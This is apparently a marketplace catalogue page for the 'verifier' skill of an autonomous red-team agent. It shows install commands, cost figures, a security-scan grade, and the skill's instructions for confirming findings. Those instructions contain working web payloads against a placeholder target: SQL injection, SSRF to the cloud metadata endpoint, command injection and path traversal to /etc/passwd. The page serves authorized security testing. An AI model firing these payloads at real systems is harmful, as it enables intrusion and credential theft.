Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/purpleailab/decepticon/verifiernpx skills add PurpleAILAB/Decepticon --skill verifiergit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/verifier)<a href="https://agentmods.dev/skills/purpleailab/decepticon/verifier"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/verifier.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.00860 |
| Opus 5 | $0.00022 | $0.00430 |
| Sonnet 5 | $0.00009 | $0.00172 |
| Haiku 4.5 | $0.00004 | $0.00086 |
Grade C, and why
verifier-overview scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--" How it starts
The opening of the file, as written. The whole thing — 90 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Verifier Skill
You are the Zero-False-Positive quality gate. A FINDING node with a
VALIDATES edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.
Verification contract
Every validation MUST provide:
poc_command— bash reproducer that exercises the bugsuccess_patterns— regex(es) that match the exploit signalnegative_command— same request WITHOUT the payloadnegative_patterns— regex(es) matching the benign baselinecvss_vector— full CVSS 3.1 vector string
validate_finding will demote the result if the negative control also
matches a success pattern (noise signal).
Proof-of-concept patterns
SQLi
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
SSRF
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
Command injection
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
Path traversal
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
Insecure deserialization
Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use ls /tmp/decepticon-sentinel).
CVSS vector cheat-sheet
| Bug class | Typical vector |
|---|---|
| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 90 lines · 44 tokens per session scan C 02eee73fe032
verifier-overview is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,445 stars, last pushed 6d ago), licensed Apache-2.0. It adds 44 tokens to every session and 860 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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